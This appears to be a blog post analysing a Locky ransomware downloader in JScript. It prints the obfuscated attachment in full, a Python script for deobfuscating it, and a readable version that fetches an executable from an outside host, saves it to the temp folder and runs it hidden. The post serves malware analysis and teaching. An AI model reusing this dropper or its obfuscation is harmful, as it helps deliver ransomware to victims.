Deobfuscating a JScript Locky Downloader
27 Mar 2016
Ransomware is the new trend in malware development and it doesn’t seem to be dying out soon. I recently received another email with a locky downloader script attached and decided to take a look. It’s written in JScript, an ECMAScript implementation by Microsoft and uses methods of the Windows Script Host.
The source code
invoice.js
var _item = " WScri " , Htax_post_tag_template_no_anchor = " o " ,
asc = " pt " ; Yellowknife = " Creat " ; var AuthorizedTransferMode = ( function String . prototype . Dacca () { return " c " ; }, " newText " ); var delete_others_posts = " ject " ; var redirect_network_admin_request = " W " , Allowed = 25168 , ip_port = " Scri " ,
LIST = " .She " ,
hierarchical_taxonomies = - 867411252 , pretext = " ll " ,
Study = " Expa " , create = " dy " , set_ = " iro " ; core_update_footer = ( function String . prototype . func_num_args () { return " n " ; }, " formControls " ), Kwanyama = 11340 ,
COUNT = " me " ,
items_list = " ntStr " , manage_plugins_custom_column = " Resp " ,
Bebop = " ings " , manage_network_users = " %TEMP " ; var Hides = 2754654863344 ; var wo = " % " ; var x0002 = " / " ,
limited_email_domains = - 3129 , bottom = " Frame " ;
chart = " State " ;
compression = " type " ; updated = " .s " , _fix_attachment_links = " cr " , network_dashboard_right_now = 2 , submenu_slug = " WS " ;
var inherit = " cri " ; howto = - 19642 , Accepts = " p " ,
get_month = " Crea " , Both = - 23233 ; hidden_meta_boxes = " teObj " , get_header_textcolor = " ect " ,
lt = ( function Number . prototype . Arrange () { return 19822 ; }, 5930 ),
is_blog_admin = ( function String . prototype . Detached () { return " MSXM " ; }, " Citing " ),
already_sorted = " L " , discover = " te " , Light = " 2 " ,
wp_shake_js = " .X " ;
var extracted = " save " ; e54747 = " M " ,
network_enable = " LHT " ,
htm = 0 ;
var akismet_cron_recheck = " TP " ;
Accordion = " open " ;
permission = - 135782688 ,
get_allowed_themes = " GET " ; var believe = " ht " , numFiles = - 5365 ,
newDefaultColor = " tp:// " ; unique = " glad " ;
integers = ( function Number . prototype . new_terms () { return - 2509 ; }, - 15271 );
var ftp_mkdir = " i.boh " , dataformat = " h.ru/ " ;
var soundcloud = 25537 , Dakar = " stem " , useful = " ibra " ;
var transitions = 1 ;
var postajaxpost = " ry/ " ;
bcn_init = " a.exe " ,
_defaultHSVControls = ( function String . prototype . abbr () { return " o " ; }, " encapsulated " ), time_adj = 124410411 ;
var upgrader_pre_install = 4239 , err_add_notfound = " ToF " ;
Santiago = 29349 , akismet_transition_comment_status = " send " , post_type = " Ru " , display_invalid_version = " read " ; UMASK = " s " ;
var Executes = 25112 ,
unveil = " tat " ; var wp_the_query = " e " ; var namediv = 17041 , stub = 580424320 , tl = ( function Number . prototype . lastClicked () { return 14672 ; }, - 14072 ), shortcode_parse_atts = ( function Number . prototype . delete_comment_meta () { return - 23696 ; }, - 18964 ),
qeRow = " Scrip " ;
var privAddFileList = " t " ,
TinyPspellShell = 18976 , format_meta_url = ( function String . prototype . e006 () { return " S " ; }, " mozBlog " );
var Stuff = " l " ,
hiearchal = 16268 ; autofocus = " ee " ; quote_source_name = 100 ,
representing = - 38836 , sections = " WSc " ; var fld = " ript " ,
Use = " pen " ;
begone = " C " ,
opts_upgrade = " rea " , causing = " wri " ;
SO_SNDTIMEO = " teOb " , itemType = " je " ,
suppress_filters = " nseB " ; var got = " ct " , post_params = " ADOD " , Fix = " ositi " , customize_login = " B.Str " ,
term_taxonomy_id = " eam " ;
offers = " il " ;
var serializeArray = " Sleep " ,
fix_scheduled_recheck = - 14177 ;
var writability = " los " ,
submit_users = 25057 ,
disk_entries = 4347 ; wxr_filter_postmeta = ( function Number . prototype . current_tab () { return 23036 ; }, - 8114 );
e187 = this ;
try {
classchange = e187 [ _item + asc ];
} catch ( acquaintance ) {
" space_allowed " ;
}
function Icons ()
{
eval ( unescape ( " %09%09default_contextual_help%20%3D%20classchange%5BYellowknife%20%2B%20%22eOb%22%20%2B%20delete_others_posts%5D%28redirect_network_admin_request%20%2B%20ip_port%20%2B%20asc%20%2B%20LIST%20%2B%20pretext%29%3B%0A%0A%09%09Out%20%3D%20default_contextual_help%5BStudy%20%2B%20%22ndEnv%22%20%2B%20set_%20%2B%20core_update_footer.func_num_args%28%29%20%2B%20COUNT%20%2B%20items_list%20%2B%20Bebop%5D%28manage_network_users%20%2B%20wo%20%2B%20x0002%29%20%2B%20bottom%20%2B%20chart%20%2B%20updated%20%2B%20_fix_attachment_links%3B%0A%0A%09%09raised%20%3D%20e187%5Bsubmenu_slug%20%2B%20inherit%20%2B%20Accepts%20%2B%20%22t%22%5D%5Bget_month%20%2B%20hidden_meta_boxes%20%2B%20get_header_textcolor%5D%28is_blog_admin.Detached%28%29%20%2B%20already_sorted%20%2B%20Light%20%2B%20wp_shake_js%20%2B%20e54747%20%2B%20network_enable%20%2B%20akismet_cron_recheck%29%3B%0A%0A%09%09raised%5BAccordion%5D%28get_allowed_themes%2Cbelieve%20%2B%20newDefaultColor%20%2B%20unique%20%2B%20%22ilk%22%20%2B%20ftp_mkdir%20%2B%20%22us%22%20%2B%20dataformat%20%2B%20%22sy%22%20%2B%20Dakar%20%2B%20%22/l%22%20%2B%20useful%20%2B%20postajaxpost%20%2B%20bcn_init%2C%28%28%20%2B%20time_adj%20/%20%20%2B%20upgrader_pre_install%29%20%5E%20%20%2B%20Santiago%29%29%3B%0A%0A%09%09raised%5Bakismet_transition_comment_status%5D%28%29%3B%0A%0A%09%09while%20%28raised%5Bdisplay_invalid_version%20%2B%20%22y%22%20%2B%20UMASK%20%2B%20unveil%20%2B%20wp_the_query%5D%20%3C%20%28%28%20%2B%20stub%20/%209890%29%20/%20%20%2B%20tl.lastClicked%28%29%29%29%0A%09%7B%0A%09%09e187%5Bredirect_network_admin_request%20%2B%20qeRow%20%2B%20privAddFileList%5D%5Bformat_meta_url.e006%28%29%20%2B%20Stuff%20%2B%20autofocus%20%2B%20Accepts%5D%28%20%2B%20quote_source_name%29%3B%0A%09%7D%0A%0A " ));
}
Icons ();
commentL10n = e187 [ sections + fld ][ begone + opts_upgrade + SO_SNDTIMEO + itemType + got ]( post_params + customize_login + term_taxonomy_id );
try {
e187 [ _item + asc ][ serializeArray ](( + fix_scheduled_recheck , ( 14108 ^ ( 6696 ^ ( 16822080 / (((( + submit_users , ( + disk_entries , ( 265535972 / + wxr_filter_postmeta . current_tab ()), ( + Hides / 23206 ))) / + Executes ), ( - 19642 - + howto + ( + permission / + namediv )), ( - 4872 - (( + hierarchical_taxonomies ^ + Kwanyama ) / 26838 ))) - ((((( + shortcode_parse_atts . delete_comment_meta () - ( - 28937 , (( + numFiles - ( + Both , ((( 8059 + 12828 ) ^ 24100 ) + 22232 ))) + + TinyPspellShell ))) ^ (( + limited_email_domains , + integers . new_terms (), 31230 ), (( 16834 ) ^ + hiearchal ), 20699 )) + + Allowed ) ^ ( + lt . Arrange ())), (( + representing + + soundcloud ), 20968 ))))))));
commentL10n [ Htax_post_tag_template_no_anchor + Use ]();
} catch ( understand ) {
" _dataport " ;
}
function trademark ()
{
commentL10n [ compression ] = + transitions ;
commentL10n [ causing + discover ]( raised [ manage_plugins_custom_column + Htax_post_tag_template_no_anchor + suppress_filters + _defaultHSVControls . abbr () + create ]);
}
trademark ();
function the_parent ()
{
eval ( unescape ( " %09%09commentL10n%5BAccepts%20%2B%20Fix%20%2B%20%22on%22%5D%20%3D%200%3B%0A%0A " ));
}
the_parent ();
function _wpCustomizeControlsL10n ()
{
eval ( unescape ( " %09%09commentL10n%5Bextracted%20%2B%20err_add_notfound%20%2B%20offers%20%2B%20%22e%22%5D%28Out%2C%20%2B%20network_dashboard_right_now%29%3B%0A%0A " ));
}
_wpCustomizeControlsL10n ();
commentL10n [ AuthorizedTransferMode . Dacca () + writability + wp_the_query ]();
default_contextual_help [ post_type + " n " ]( Out , 0 , + htm );
Seperating constants and code
The first step in making the code readable is inlining all the constants. To make that easier split the file into two new ones called code.js
and vars.js
.
Unescape the urlencoded code
There’s some urlencoded stuff in code.js
, just put it through an online tool or paste the unescape command in a Node.js shell. Use jsbeautifier to make it pretty.
Removing prototype functions
The prototype functions can just be replaced with a static value. Use the regex replace feature of your text editor to remove everything that matches this:
vars.js: \(function .+?\.prototype\..+?\(\) { return
vars.js: ; }, .+?\)
code.js: \.\w+\(\)
Inlining the constants
The two files should look like this now:
vars.js
_item = " WScri " ,
Htax_post_tag_template_no_anchor = " o " ,
asc = " pt " ;
Yellowknife = " Creat " ;
AuthorizedTransferMode = " c " ;
delete_others_posts = " ject " ;
redirect_network_admin_request = " W " ,
Allowed = 25168 ,
ip_port = " Scri " ,
LIST = " .She " ,
hierarchical_taxonomies = - 867411252 ,
pretext = " ll " ,
Study = " Expa " ,
create = " dy " ,
set_ = " iro " ;
core_update_footer = " n " ;
Kwanyama = 11340 ,
COUNT = " me " ,
items_list = " ntStr " , manage_plugins_custom_column = " Resp " ,
Bebop = " ings " , manage_network_users = " %TEMP " ;
Hides = 2754654863344 ;
wo = " % " ;
x0002 = " / " ,
limited_email_domains = - 3129 ,
bottom = " Frame " ;
chart = " State " ;
compression = " type " ;
updated = " .s " , _fix_attachment_links = " cr " , network_dashboard_right_now = 2 , submenu_slug = " WS " ;
inherit = " cri " ;
howto = - 19642 , Accepts = " p " ,
get_month = " Crea " , Both = - 23233 ;
hidden_meta_boxes = " teObj " , get_header_textcolor = " ect " ,
lt = 19822 ;
is_blog_admin = " MSXM " ;
already_sorted = " L " , discover = " te " , Light = " 2 " ,
wp_shake_js = " .X " ;
extracted = " save " ;
e54747 = " M " ,
network_enable = " LHT " ,
htm = 0 ;
akismet_cron_recheck = " TP " ;
Accordion = " open " ;
permission = - 135782688 ,
get_allowed_themes = " GET " ;
believe = " ht " ,
numFiles = - 5365 ,
newDefaultColor = " tp:// " ;
unique = " glad " ;
integers = - 2509 ;
ftp_mkdir = " i.boh " ,
dataformat = " h.ru/ " ;
soundcloud = 25537 ,
Dakar = " stem " ,
useful = " ibra " ;
transitions = 1 ;
postajaxpost = " ry/ " ;
bcn_init = " a.exe " ,
_defaultHSVControls = " o " ;
time_adj = 124410411 ;
upgrader_pre_install = 4239 ,
err_add_notfound = " ToF " ;
Santiago = 29349 , akismet_transition_comment_status = " send " , post_type = " Ru " , display_invalid_version = " read " ;
UMASK = " s " ;
Executes = 25112 ,
unveil = " tat " ;
wp_the_query = " e " ;
namediv = 17041 ,
stub = 580424320 ,
tl = 14672 ;
shortcode_parse_atts = - 23696 ;
qeRow = " Scrip " ;
privAddFileList = " t " ,
TinyPspellShell = 18976 ,
format_meta_url = " S " ;
Stuff = " l " ,
hiearchal = 16268 ;
autofocus = " ee " ;
quote_source_name = 100 ,
representing = - 38836 , sections = " WSc " ;
fld = " ript " ,
Use = " pen " ;
begone = " C " ,
opts_upgrade = " rea " , causing = " wri " ;
SO_SNDTIMEO = " teOb " , itemType = " je " ,
suppress_filters = " nseB " ;
got = " ct " ,
post_params = " ADOD " ,
Fix = " ositi " ,
customize_login = " B.Str " ,
term_taxonomy_id = " eam " ;
offers = " il " ;
serializeArray = " Sleep " ,
fix_scheduled_recheck = - 14177 ;
writability = " los " ,
submit_users = 25057 ,
disk_entries = 4347 ;
wxr_filter_postmeta = 23036 ;
code.js
e187 = this ;
try {
classchange = e187 [ _item + asc ];
} catch ( acquaintance ) {
" space_allowed " ;
}
function Icons () {
default_contextual_help = classchange [ Yellowknife + " eOb " + delete_others_posts ]( redirect_network_admin_request + ip_port + asc + LIST + pretext );
Out = default_contextual_help [ Study + " ndEnv " + set_ + core_update_footer + COUNT + items_list + Bebop ]( manage_network_users + wo + x0002 ) + bottom + chart + updated + _fix_attachment_links ;
raised = e187 [ submenu_slug + inherit + Accepts + " t " ][ get_month + hidden_meta_boxes + get_header_textcolor ]( is_blog_admin + already_sorted + Light + wp_shake_js + e54747 + network_enable + akismet_cron_recheck );
raised [ Accordion ]( get_allowed_themes , believe + newDefaultColor + unique + " ilk " + ftp_mkdir + " us " + dataformat + " sy " + Dakar + " /l " + useful + postajaxpost + bcn_init , (( + time_adj / + upgrader_pre_install ) ^ + Santiago ));
raised [ akismet_transition_comment_status ]();
while ( raised [ display_invalid_version + " y " + UMASK + unveil + wp_the_query ] < (( + stub / 9890 ) / + tl )) {
e187 [ redirect_network_admin_request + qeRow + privAddFileList ][ format_meta_url + Stuff + autofocus + Accepts ]( + quote_source_name );
}
}
Icons ();
commentL10n = e187 [ sections + fld ][ begone + opts_upgrade + SO_SNDTIMEO + itemType + got ]( post_params + customize_login + term_taxonomy_id );
try {
e187 [ _item + asc ][ serializeArray ](( + fix_scheduled_recheck , ( 14108 ^ ( 6696 ^ ( 16822080 / (((( + submit_users , ( + disk_entries , ( 265535972 / + wxr_filter_postmeta ), ( + Hides / 23206 ))) / + Executes ), ( - 19642 - + howto + ( + permission / + namediv )), ( - 4872 - (( + hierarchical_taxonomies ^ + Kwanyama ) / 26838 ))) - ((((( + shortcode_parse_atts - ( - 28937 , (( + numFiles - ( + Both , ((( 8059 + 12828 ) ^ 24100 ) + 22232 ))) + + TinyPspellShell ))) ^ (( + limited_email_domains , + integers , 31230 ), (( 16834 ) ^ + hiearchal ), 20699 )) + + Allowed ) ^ ( + lt )), (( + representing + + soundcloud ), 20968 ))))))));
commentL10n [ Htax_post_tag_template_no_anchor + Use ]();
} catch ( understand ) {
" _dataport " ;
}
function trademark () {
commentL10n [ compression ] = + transitions ;
commentL10n [ causing + discover ]( raised [ manage_plugins_custom_column + Htax_post_tag_template_no_anchor + suppress_filters + _defaultHSVControls + create ]);
}
trademark ();
function the_parent () {
commentL10n [ Accepts + Fix + " on " ] = 0 ;
}
the_parent ();
function _wpCustomizeControlsL10n () {
commentL10n [ extracted + err_add_notfound + offers + " e " ]( Out , + network_dashboard_right_now );
}
_wpCustomizeControlsL10n ();
commentL10n [ AuthorizedTransferMode + writability + wp_the_query ]();
console . log ( commentL10n );
default_contextual_help [ post_type + " n " ]( Out , 0 , + htm );
I wrote a Python script to do the remaining work for me
unscramble.py
import re
# Finds pairs like 'item = "WScri",' or 'permission = -135782688;'
ASSIGN_RE = re . compile ( r '(\w+) = ("[^"]+"|.\d+)' )
# Finds a word inserted in the middle, the ([^\w]) make sure it's not part of
# another word. I know this is really ugly.
MAGIC2 = r '([^\w])({})([^\w])'
# Find the variables
var_cont = open ( "vars.js" ). read ()
replacements = {}
for found in ASSIGN_RE . finditer ( var_cont ):
name , value = found . groups ()
replacements [ name ] = value
# Replace them in the code
# Replace the middle word but keep the start and ending. This is a workaround
# for my inability to write proper regex
def replace ( match ):
return match . group ( 1 ) + replacements [ match . group ( 2 )] + match . group ( 3 )
code = open ( "code.js" ). read ()
code_new_f = open ( "code_new.js" , "w" )
code_new = code
for name , value in replacements . items ():
# Replace all the variables with their values
code_new = re . sub ( MAGIC2 . format ( name ), replace , code_new )
# Remove unnecessare string joins like '"Wscrip" + "t"'
code_new = code_new . replace ( '" + "' , '' )
code_new_f . write ( code_new )
code_new_f . close ()
After running it you should get a file called code_new.js
with the final result.
code_new.js
e187 = this ;
try {
classchange = e187 [ " WScript " ];
} catch ( acquaintance ) {
" space_allowed " ;
}
function Icons () {
default_contextual_help = classchange [ " CreateObject " ]( " WScript.Shell " );
Out = default_contextual_help [ " ExpandEnvironmentStrings " ]( " %TEMP%/ " ) + " FrameState.scr " ;
raised = e187 [ " WScript " ][ " CreateObject " ]( " MSXML2.XMLHTTP " );
raised [ " open " ]( " GET " , " http://gladilki.bohush.ru/system/library/a.exe " , (( + 124410411 / + 4239 ) ^ + 29349 ));
raised [ " send " ]();
while ( raised [ " readystate " ] < (( + 580424320 / 9890 ) / + 14672 )) {
e187 [ " WScript " ][ " Sleep " ]( + 100 );
}
}
Icons ();
commentL10n = e187 [ " WScript " ][ " CreateObject " ]( " ADODB.Stream " );
try {
e187 [ " WScript " ][ " Sleep " ](( +- 14177 , ( 14108 ^ ( 6696 ^ ( 16822080 / (((( + 25057 , ( + 4347 , ( 265535972 / + 23036 ), ( + 2754654863344 / 23206 ))) / + 25112 ), ( - 19642 - +- 19642 + ( +- 135782688 / + 17041 )), ( - 4872 - (( +- 867411252 ^ + 11340 ) / 26838 ))) - ((((( +- 23696 - ( - 28937 , (( +- 5365 - ( +- 23233 , ((( 8059 + 12828 ) ^ 24100 ) + 22232 ))) + + 18976 ))) ^ (( +- 3129 , +- 2509 , 31230 ), (( 16834 ) ^ + 16268 ), 20699 )) + + 25168 ) ^ ( + 19822 )), (( +- 38836 + + 25537 ), 20968 ))))))));
commentL10n [ " open " ]();
} catch ( understand ) {
" _dataport " ;
}
function trademark () {
commentL10n [ " type " ] = + transitions ;
commentL10n [ " write " ]( raised [ " ResponseBody " ]);
}
trademark ();
function the_parent () {
commentL10n [ " position " ] = 0 ;
}
the_parent ();
function _wpCustomizeControlsL10n () {
commentL10n [ " saveToFile " ]( Out , + network_dashboard_right_now );
}
_wpCustomizeControlsL10n ();
commentL10n [ " close " ]();
console . log ( commentL10n );
default_contextual_help [ " Run " ]( Out , 0 , + htm );
The code is now mostly readable and you can find the payload url. By the time I read the email the file was already taken down, but with some search engine magic I could find it on dasmalwerk.eu . Unfortunately it didn’t work in my virtual machine.